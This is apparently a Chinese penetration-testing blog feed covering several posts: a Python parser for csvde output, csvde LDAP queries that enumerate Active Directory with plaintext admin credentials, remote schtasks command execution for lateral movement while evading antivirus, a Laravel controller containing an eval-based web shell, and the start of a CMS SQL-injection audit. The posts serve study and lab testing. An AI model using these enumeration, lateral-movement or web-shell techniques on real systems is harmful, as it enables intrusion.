<span class="kn">import</span> <span class="nn">argparse</span>
<span class="k">def</span> <span class="nf">code_convert</span><span class="p">(</span><span class="n">content</span><span class="p">):</span>
<span class="c1"># bytes => str to display</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">content</span><span class="p">)</span> <span class="o">==</span> <span class="nb">bytes</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
<span class="k">return</span> <span class="n">content</span>
<span class="k">def</span> <span class="nf">hex_parse</span><span class="p">(</span><span class="n">hexstr</span><span class="p">):</span>
<span class="n">hexstr</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">a2b_hex</span><span class="p">(</span><span class="n">hexstr</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">code_convert</span><span class="p">(</span><span class="n">hexstr</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">line_parse</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="n">flag</span><span class="p">):</span>
<span class="c1"># parse every line with hex</span>
<span class="n">new_line</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">temp</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
<span class="c1">#跳过时间戳那一列的处理,这里根据自己的实际情况更改i的值</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">!=</span> <span class="mi">3</span> <span class="ow">and</span> <span class="n">temp</span> <span class="ow">and</span> <span class="n">temp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'X'</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">temp</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">hex_parse</span><span class="p">(</span><span class="n">temp</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="n">temp</span> <span class="o">=</span> <span class="s2">"Parser Error,The error is </span><span class="si">{}</span><span class="s2"> .Please go to https://tool.lu/hexstr/ ."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">ex</span><span class="p">)</span>
<span class="c1">#windows时间戳处理代码,使用falg标志是否为第一行,避免处理表头</span>
<span class="k">if</span> <span class="n">i</span><span class="o">==</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">flag</span><span class="o">==</span><span class="kc">False</span> <span class="ow">and</span> <span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="ow">and</span> <span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">!=</span> <span class="s2">"0"</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">ttttt</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">ts</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((</span><span class="n">ttttt</span> <span class="o">/</span> <span class="mi">10000000</span><span class="p">)</span> <span class="o">-</span> <span class="mi">11644473600</span><span class="p">)</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">utcfromtimestamp</span><span class="p">(</span><span class="n">ts</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s1">'%Y-%m-</span><span class="si">%d</span><span class="s1"> %H:%M:%S'</span><span class="p">)</span>
<span class="c1">#在每列的值前后加上"是为了后需使用excel处理csv文件时更加方便,因为以,作为分隔符,同时导出的计算机的dn上</span>
<span class="c1">#又带有,,如果没有"将其包围,会导致最终产生的表格内容混乱</span>
<span class="n">temp</span> <span class="o">=</span> <span class="s1">'"'</span> <span class="o">+</span> <span class="n">temp</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">temp</span> <span class="o">+</span> <span class="s1">'"'</span>
<span class="n">new_line</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">temp</span><span class="p">)</span>
<span class="c1">#print(new_line)</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">','</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">new_line</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">file_write</span><span class="p">(</span><span class="n">result</span><span class="p">):</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'results.csv'</span><span class="p">,</span> <span class="s1">'a+'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="p">)</span> <span class="k">as</span> <span class="n">h</span><span class="p">:</span>
<span class="n">h</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
<span class="n">h</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
<span class="n">h</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">'Parse the csvde result'</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-f'</span><span class="p">,</span> <span class="s1">'--filename'</span><span class="p">,</span><span class="n">dest</span><span class="o">=</span><span class="s1">'filename'</span><span class="p">,</span><span class="n">action</span><span class="o">=</span><span class="s2">"store"</span><span class="p">,</span>
<span class="n">help</span><span class="o">=</span><span class="s1">'the file to convert'</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-hs'</span><span class="p">,</span> <span class="s1">'--hexstr'</span><span class="p">,</span><span class="n">dest</span><span class="o">=</span><span class="s1">'hexstr'</span><span class="p">,</span><span class="n">action</span><span class="o">=</span><span class="s2">"store"</span><span class="p">,</span>
<span class="n">help</span><span class="o">=</span><span class="s1">'the hex str to decode'</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">filename</span><span class="p">:</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">args</span><span class="o">.</span><span class="n">filename</span>
<span class="nb">print</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">codecs</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">'rU'</span><span class="p">,</span> <span class="s1">'utf-16'</span><span class="p">))</span>
<span class="c1">#head_row = next(reader)</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">flag</span> <span class="o">=</span> <span class="kc">False</span>
<span class="k">if</span> <span class="n">i</span><span class="o">==</span><span class="mi">1</span><span class="p">:</span>
<span class="n">flag</span> <span class="o">=</span> <span class="kc">True</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line_parse</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="n">flag</span><span class="p">)</span>
<span class="n">file_write</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">hexstr</span><span class="p">:</span>
<span class="n">hexstr</span> <span class="o">=</span> <span class="n">args</span><span class="o">.</span><span class="n">hexstr</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">hex_parse</span><span class="p">(</span><span class="n">hexstr</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>
</code></pre></div>
<h3>在线转换</h3>
<p><a href="/theme/css/Convert Hex to UTF8 - Online Hex Tools.html">在线转换工具</a></p>
<p>根据网上的代码自己修改了一下,可以满足基本需求</p>
<p><img alt="asdasdasda" src="导出域内信息姿势总结.assets/asdasdasda.gif"></p>
<h2>导出域内OU信息</h2>
<p>在powershell中使用如下命令创建出三个OU:</p>
<div class="highlight"><pre><span></span><code>New-ADOrganizationalUnit -Name IT -Path "DC=uoiysdf,DC=iuodsf,DC=vi"
New-ADOrganizationalUnit -Name Office -Path "OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"
New-ADOrganizationalUnit -Name HR -Path "DC=uoiysdf,DC=iuodsf,DC=vi"
</code></pre></div>
<p><img alt="image-20200811011806153" src="导出域内信息姿势总结.assets/image-20200811011806153-1599019744242.png"></p>
<p>使用<code>-r</code>选项设置ldap过滤器,<code>-l</code>选项指定想要获取的属性,这里我们选择dn和description属性</p>
<p>这里我们使用<code>objectClass=organizationalUnit</code>筛选出<code>ou</code>,起始位置为<code>ou=it,dc=uoiysdf,dc=iuodsf,dc=vi</code></p>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "ou=it,dc=uoiysdf,dc=iuodsf,dc=vi" -r (objectClass=organizationalUnit) -l dn,description -m -f res.csv -u
</code></pre></div>
<p>结果如下:</p>
<div class="highlight"><pre><span></span><code>DN,(null)
"OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"
"OU=Office,OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"
</code></pre></div>
<p>由于我们在创建的时候并没有设置description属性,所以是<code>null</code></p>
<h2>获取域内所有组的信息</h2>
<p>将<code>objectClass</code>的值设置为<code>group</code>即可,一般用户组的重要属性为<code>dn</code>、<code>descriptioon</code>、<code>member</code>、<code>memberOf</code></p>
<p>导出的结果包含计算机组和用户组</p>
<h2>导出域内所有计算机信息</h2>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.65.138 -b administrator adlab.com qwe123... -d "dc=adlab,dc=com" -r (objectClass=computer) -l dn,description -m -f res.csv -u
</code></pre></div>
<p>只需要把<code>objectClass</code>的值改为computer即可</p>
<h2>使用通配符搜索符合条件的对象</h2>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.65.139 -b administrator matrix.loc 123qwe,./ -d "dc=matrix,dc=loc" -r "(&(objectClass=computer)(dNSHostName=corp*))" -l dn,operatingSystem -m -f res.csv -u
</code></pre></div>
<p><img alt="1600768039526" src="导出域内信息姿势总结.assets/1600768039526.png"></p>
<h2>导出域内所有人员信息</h2>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.65.128 -b administrator adlab.com qwe123... -d "dc=adlab,dc=com" -r "(&(objectcategory=person)(!(objectClass=computer)))" -l dn,description,sAMAccountName,pwdLastSet,lastLogonTimestamp -m -f res.csv -u
</code></pre></div>
<p><code>!(objectClass=computer)</code>用于排除计算机账户</p>
<h2>枚举外部安全实体(foreignSecurityPrincipal)并在对应域中进行定位</h2>
<div class="highlight"><pre><span></span><code>C:<span class="se">\w</span>indows<span class="se">\t</span>emp<span class="se">\c</span>svde.exe<span class="w"> </span>-s<span class="w"> </span><span class="m">192</span>.168.60.161<span class="w"> </span>-b<span class="w"> </span>administrator<span class="w"> </span>domain2.com<span class="w"> </span>...qwe123<span class="w"> </span>-d<span class="w"> </span><span class="s2">"dc=domain2,dc=com"</span><span class="w"> </span>-r<span class="w"> </span><span class="s2">"(objectClass=foreignSecurityPrincipal)"</span><span class="w"> </span>-l<span class="w"> </span>Name<span class="w"> </span>-m<span class="w"> </span>-f<span class="w"> </span>C:<span class="se">\w</span>indows<span class="se">\t</span>emp<span class="se">\r</span>es.csv<span class="w"> </span>-u
</code></pre></div>
<p><img alt="1605018217298" src="导出域内信息姿势总结.assets/1605018217298.png"></p>
<p>在对应域中定位这些安全实体:</p>
<div class="highlight"><pre><span></span><code>C:<span class="se">\w</span>indows<span class="se">\t</span>emp<span class="se">\c</span>svde.exe<span class="w"> </span>-s<span class="w"> </span><span class="m">192</span>.168.60.161<span class="w"> </span>-b<span class="w"> </span>administrator<span class="w"> </span>domain2.com<span class="w"> </span>...qwe123<span class="w"> </span>-d<span class="w"> </span><span class="s2">"dc=domain2,dc=com"</span><span class="w"> </span>-r<span class="w"> </span><span class="o">(</span><span class="nv">objectSid</span><span class="o">=</span>S-1-5-4<span class="o">)</span><span class="w"> </span>-l<span class="w"> </span>Name,department,description,title,sAMAccountName<span class="w"> </span>-m<span class="w"> </span>-f<span class="w"> </span>C:<span class="se">\w</span>indows<span class="se">\t</span>emp<span class="se">\r</span>es.csv<span class="w"> </span>-u
</code></pre></div>
<h2>枚举域内信任关系</h2>
<p>这个也可以使用dsquery来完成,同样也是使用ldap筛选器,只需要把objectClass的值设置为<strong>trustedDomain</strong>即可</p>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "dc=uoiysdf,dc=iuodsf,dc=vi" -r (objectClass=trustedDomain) -m -f res.csv -u
</code></pre></div>
<h1>从NETLOGON共享中搜集信息</h1>
<p>域管理员为了给计算机或用户部署登录脚本,可能会在<code>NETLOGON</code>共享中放一些登录脚本,这个共享在整个域中都可以访问到,因此可以用于供域内计算机读取登录配置并执行</p>
<p>在当前的实验环境中,该共享可以在如下网络位置访问到</p>
<div class="highlight"><pre><span></span><code>\\uoiysdf.iuodsf.vi\NETLOGON
</code></pre></div>横向移动2020-08-04T00:00:00+02:002020-08-04T00:00:00+02:0012138tag:None,2020-08-04:heng-xiang-yi-dong.html<h1>前言</h1>
<p>横向移动是开展内网渗透工作的重中之重,横向移动的手动也是多种多样,这里针对在横向移动中使用的技术和遇 …</p><h1>前言</h1>
<p>横向移动是开展内网渗透工作的重中之重,横向移动的手动也是多种多样,这里针对在横向移动中使用的技术和遇到的问题进行总结归纳</p>
<h1>Impacket工具包</h1>
<h2>atexec.py执行过程中出现rpc_s_access_denied问题</h2>
<p>在内网横向移动中,使用比较多的可能就数impacket了,在远程执行主机命令方面,最常使用的就是<code>wmiexec.py</code>和<code>atexec.py</code>这两个脚本,<strong>其中前者被各大杀毒软件查杀的比较厉害,比如卡巴斯基:</strong></p>
<p><img alt="image-20200804214515663" src="横向移动.assets/image-20200804214515663.png"></p>
<p>可以看到反病毒软件对<code>C:\Windows\System32\wbem\WmiPrvSE.exe</code>的监控还是比较严格的,因此<code>wmiexec.py</code>在绝大多数安装了反病毒软件的主机上还是很难进行使用的,而且容易引起对方的警觉,这时候我们大多会转而选择<code>atexec.py</code>脚本来进行远程命令执行,改脚本的大致原理就是通过往远程主机写入计划任务并执行来达到执行命令的目的,但是改脚本在windows 10操作系统上经常会遇到<code>rpc_s_access_denied</code>的问题</p>
<p><img alt="image-20200804214818949" src="横向移动.assets/image-20200804214818949.png"></p>
<p>但是在windows 7上却可以正常执行,通过调试atexec.py,我们可以跟踪到问题出在下面这个地方:</p>
<p><img alt="image-20200804215010557" src="横向移动.assets/image-20200804215010557.png"></p>
<p>对于windows 10,在执行<code>hSchRpcRegisterTask</code>方法时会抛出异常,导致计划任务创建失败,<strong>目前还没有了解到更详细的原因,如果后续搞明白了会更新出来</strong></p>
<p>不过我们可以直接通过<code>schtasks</code>远程创建计划任务并执行来达到同样的效果,对于实际环境,我们可以使用<code>Proxifier</code>来进行代理,具体操作如下:</p>
<p><strong>首先我们在攻击机中设置出如下代理,所有针对目标IP的传输层流量都会经过代理</strong></p>
<p><img alt="image-20200804221311911" src="横向移动.assets/image-20200804221311911.png"></p>
<p>然后我们直接在攻击机上使用<code>schtasks</code>进行计划任务的创建、执行和删除操作:</p>
<div class="highlight"><pre><span></span><code>schtasks /create /tn test_sch_name /tr C:\Users\win_10_1\Desktop\123.bat /sc once /st 00:00 /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /RU System /f
schtasks /run /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip
schtasks /delete /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /f
</code></pre></div>
<p><code>C:\Users\win_10_1\Desktop\123.bat</code>会在桌面写一个<code>test.txt</code>,内容为<code>test</code>,用于检验命令是否成功执行</p>
<p>成功创建计划任务:</p>
<p><img alt="image-20200804224542339" src="横向移动.assets/image-20200804224542339.png"></p>
<p>执行计划任务:
<img alt="image-20200804224638396" src="横向移动.assets/image-20200804224638396.png"></p>
<p>运行成功,卡巴斯基没有反应:</p>
<p><img alt="image-20200804224954509" src="横向移动.assets/image-20200804224954509.png"></p>
<p>删除计划任务:</p>
<p><img alt="image-20200804224807003" src="横向移动.assets/image-20200804224807003.png"></p>
<p><strong>虽然这样也能执行命令,但是无法实施hash传递攻击,因为这种方法需要人提供明文密码</strong></p>
<p><strong>还有一点比较奇怪的地方就是,无法通过代理使用net use将目标主机的磁盘挂载到本地,会提示找不到网络名</strong></p>
<p><img alt="image-20200805001733414" src="横向移动.assets/image-20200805001733414.png"></p>
<p>回头可以研究一下impacket的<code>smbclient.py</code>脚本,看它是如何通过代理挂载目标机器的盘符的</p>laravel漏洞详解2020-07-31T00:00:00+02:002020-07-31T00:00:00+02:0012138tag:None,2020-07-31:laravellou-dong-xiang-jie.html<h1>前言</h1>
<p>参考文章:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ">https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ</a></li>
</ul>
<h1>环境搭建</h1>
<p>使用composer安装laravel,注意在安装composer时选择php可执行文件时尽量选择高版本php,因为低版本可能不支持laravel 5.6版本</p>
<p>配置国内源:</p>
<div class="highlight"><pre><span></span><code>composer config -g repo.packagist composer …</code></pre></div><h1>前言</h1>
<p>参考文章:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ">https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ</a></li>
</ul>
<h1>环境搭建</h1>
<p>使用composer安装laravel,注意在安装composer时选择php可执行文件时尽量选择高版本php,因为低版本可能不支持laravel 5.6版本</p>
<p>配置国内源:</p>
<div class="highlight"><pre><span></span><code>composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
</code></pre></div>
<p>在apache的网站根目录创建一个laravel文件夹,在该目录下执行<code>composer create-project laravel/laravel=5.6.*</code>即可启动安装</p>
<p><img alt="1596305503175" src="laravel漏洞详解.assets/1596305503175.png"></p>
<p>laravle安装完成后我们需要<a href="https://wochinijiamile.blog.csdn.net/article/details/106789753">配置一下虚拟主机</a>:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><VirtualHost</span><span class="w"> </span><span class="err">*:80</span><span class="nt">></span>
<span class="w"> </span>ServerName<span class="w"> </span>laravelht.vn
<span class="w"> </span>DocumentRoot<span class="w"> </span>C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public
<span class="w"> </span>SetEnv<span class="w"> </span>APPLICATION_ENV<span class="w"> </span>"development"
<span class="w"> </span><span class="nt"><Directory</span><span class="w"> </span><span class="err">C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public</span><span class="nt">></span>
<span class="w"> </span>DirectoryIndex<span class="w"> </span>index.php
<span class="w"> </span>AllowOverride<span class="w"> </span>All
<span class="w"> </span>Require<span class="w"> </span>all<span class="w"> </span>granted
<span class="w"> </span>Order<span class="w"> </span>allow,deny
<span class="w"> </span>Allow<span class="w"> </span>from<span class="w"> </span>all
<span class="w"> </span><span class="nt"></Directory></span>
<span class="w"> </span><span class="nt"></VirtualHost></span>
</code></pre></div>
<p>注意上面的虚拟主机配置文件的根目录是<code>laravel/public</code>,这样可以避免laravel框架的其他文件暴露在网络中</p>
<p><img alt="1596168131865" src="laravel漏洞详解.assets/1596168131865.png"></p>
<p>至此,环境搭建完毕</p>
<h1>了解laravel</h1>
<p>laravel是典型的MVC框架</p>
<h2>路由与控制器</h2>
<p>打开routes目录下的web.php,可以看到如下内容:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="cm">/*</span>
<span class="cm">|--------------------------------------------------------------------------</span>
<span class="cm">| Web Routes</span>
<span class="cm">|--------------------------------------------------------------------------</span>
<span class="cm">|</span>
<span class="cm">| Here is where you can register web routes for your application. These</span>
<span class="cm">| routes are loaded by the RouteServiceProvider within a group which</span>
<span class="cm">| contains the "web" middleware group. Now create something great!</span>
<span class="cm">|</span>
<span class="cm">*/</span>
<span class="nx">Route</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="s1">'/'</span><span class="p">,</span> <span class="k">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">view</span><span class="p">(</span><span class="s1">'welcome'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div>
<p>可以看到访问网站根目录会返回welcome视图,该视图的文件位于:<code>resources/views/welcome.blade.php</code></p>
<p>我们可以自己新增一个路由:</p>
<div class="highlight"><pre><span></span><code><span class="x">Route::get('/webshell', function () {</span>
<span class="x"> return "this is a webshell";</span>
<span class="x">});</span>
</code></pre></div>
<p><img alt="1596168947497" src="laravel漏洞详解.assets/1596168947497.png"></p>
<p>上面是路由相关的一些东西,下面我们再介绍一下控制器相关的知识</p>
<p>在laravel目录下有一个<code>artisan</code>的文件,它可以帮助我们完成一些工作,它可以帮助我们生成控制器、操作数据库,我们可以使用如下命令生成一个控制器:</p>
<div class="highlight"><pre><span></span><code>php<span class="w"> </span>artisan<span class="w"> </span>make:controller<span class="w"> </span>CommentController
</code></pre></div>
<p><img alt="1596215366724" src="laravel漏洞详解.assets/1596215366724.png"></p>
<p>执行完这条命令之后就会在<code>app/Http/Controllers</code>目录下生成一个<code>CommentController</code>控制器,文件绝对路径为<code>C:\phpStudy\PHPTutorial\WWW\laravel\laravel\app\Http\Controllers\CommentController.php</code></p>
<p>内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">App\Http\Controllers</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Http\Request</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">CommentController</span> <span class="k">extends</span> <span class="nx">Controller</span>
<span class="p">{</span>
<span class="c1">//</span>
<span class="p">}</span>
</code></pre></div>
<p>现在我们在<code>CommentController</code>控制器中编写一个<code>index</code>方法,内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">App\Http\Controllers</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Http\Request</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">CommentController</span> <span class="k">extends</span> <span class="nx">Controller</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">()</span> <span class="p">{</span>
<span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="nx">request</span><span class="p">()</span><span class="o">-></span><span class="na">input</span><span class="p">(</span><span class="s1">'cmd'</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>然后我们要在路由(web.php)中去调用这个控制器中的方法:</p>
<div class="highlight"><pre><span></span><code><span class="nl">Route</span><span class="p">:</span><span class="err">:</span><span class="ow">any</span><span class="p">(</span><span class="ss">"index"</span><span class="p">,</span><span class="ss">"CommentController@index"</span><span class="p">);</span>
</code></pre></div>
<p>其中,any指所有请求方法,我们也可以单独指定为get、post等请求方式</p>
<p>现在我们访问<code>http://laravelht.vn/index?cmd=phpinfo();</code>结果如下:</p>
<p><img alt="1596216063995" src="laravel漏洞详解.assets/1596216063995.png"></p>
<p>另外这个地方由于laravel防CSRF攻击的策略导致无法直接发送POST请求:</p>
<p><img alt="1596216209698" src="laravel漏洞详解.assets/1596216209698.png"></p>
<h2>laravel数据库操作内核分析</h2>
<p>在项目文件夹下的.env文件中进行数据库的配置:</p>
<p><img alt="1596216327272" src="laravel漏洞详解.assets/1596216327272.png"></p>
<p>新建一个控制器进行数据库的连接测试</p>
<div class="highlight"><pre><span></span><code>C:<span class="se">\p</span>hpStudy<span class="se">\P</span>HPTutorial<span class="se">\p</span>hp<span class="se">\p</span>hp-7.2.1-nts<span class="se">\p</span>hp<span class="w"> </span>artisan<span class="w"> </span>make:controller<span class="w"> </span>UserController
</code></pre></div>
<p>内容如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">App\Http\Controllers</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Http\Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">DB</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">UserController</span> <span class="k">extends</span> <span class="nx">Controller</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">(</span><span class="nx">Request</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-></span><span class="na">input</span><span class="p">(</span><span class="s2">"id"</span><span class="p">);</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nx">DB</span><span class="o">::</span><span class="na">table</span><span class="p">(</span><span class="s2">"users"</span><span class="p">)</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="s2">"id"</span><span class="p">,</span> <span class="nv">$id</span><span class="p">)</span><span class="o">-></span><span class="na">get</span><span class="p">();</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>注册路由:</p>
<div class="highlight"><pre><span></span><code><span class="x">Route::any("db/index","UserController@index");</span>
</code></pre></div>
<p>测试是否能够正常返回数据</p>
<p><img alt="1596217203985" src="laravel漏洞详解.assets/1596217203985.png"></p>
<p>这个时候我们就可以通过下断点来进入laravel的数据库处理操作的内部代码了,在下面这两个地方下断点:</p>
<p><img alt="1596219757579" src="laravel漏洞详解.assets/1596219757579.png"></p>极致CMS代码审计——SQL注入2020-07-28T00:00:00+02:002020-07-28T00:00:00+02:0012138tag:None,2020-07-28:ji-zhi-cmsdai-ma-shen-ji-sqlzhu-ru.html<h1>前言</h1>
<p>划水的时候无意中看到了一篇关于极致CMS代码审计的文章,正好无事可做,照着文章上的复现一波,在此记录一下</p>
<p>参考文章:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652478295&idx=1&sn=40d1c72fabca4a1c2ad1d655cc9da3ad&chksm=f25838e4c52fb1f2d2d4185c6a3cd7ab406b38b4a3134b185a4c0395a47c2df11a978083c184&xtrack=1&scene=90&subscene=93&sessionid=1595921856&clicktime=1595921857&enterid=1595921857&ascene=56&devicetype=android-29&version=2700103f&nettype=WIFI&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=AVQFCnyeSUsMIof8aCGKAss%3D&pass_ticket=sph7e4rKMlog0Pv4kWiZOhu2twHkkapOBnkwZ%2B9jGXRk3%2BtK1A4NZMnPOl19xPqH&wx_header=0">极致CMS -- PHP代码审计 …</a></li></ul><h1>前言</h1>
<p>划水的时候无意中看到了一篇关于极致CMS代码审计的文章,正好无事可做,照着文章上的复现一波,在此记录一下</p>
<p>参考文章:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652478295&idx=1&sn=40d1c72fabca4a1c2ad1d655cc9da3ad&chksm=f25838e4c52fb1f2d2d4185c6a3cd7ab406b38b4a3134b185a4c0395a47c2df11a978083c184&xtrack=1&scene=90&subscene=93&sessionid=1595921856&clicktime=1595921857&enterid=1595921857&ascene=56&devicetype=android-29&version=2700103f&nettype=WIFI&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=AVQFCnyeSUsMIof8aCGKAss%3D&pass_ticket=sph7e4rKMlog0Pv4kWiZOhu2twHkkapOBnkwZ%2B9jGXRk3%2BtK1A4NZMnPOl19xPqH&wx_header=0">极致CMS -- PHP代码审计 SQL注入漏洞</a></li>
</ul>
<h1>审计思路以及环境准备</h1>
<p>从极致CMS官网的版本更新日志中发现最新版本较上一版本的更新差异</p>
<p><img alt="1595954837950" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pGJrJraFOm.jpg"></p>
<p>查看<code>v1.8</code>的更新日志</p>
<p><img alt="1595954912058" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bndRtBbqwB.jpg"></p>
<p>说明在上一版本存在SQL语句报错信息直接显示到页面上的问题,因此我们将<code>v1.7.1</code>版本下载下来,进行代码审计,重点审计SQL注入</p>
<p>这里代码调试环境我们选择JetBrains的IDEA,通过xdebug进行php代码的调试</p>
<p>CMS源代码下载链接:<a href="https://github.com/wqreytuk/php-/raw/master/WWW.7z">极致CMS--v1.7.1</a></p>
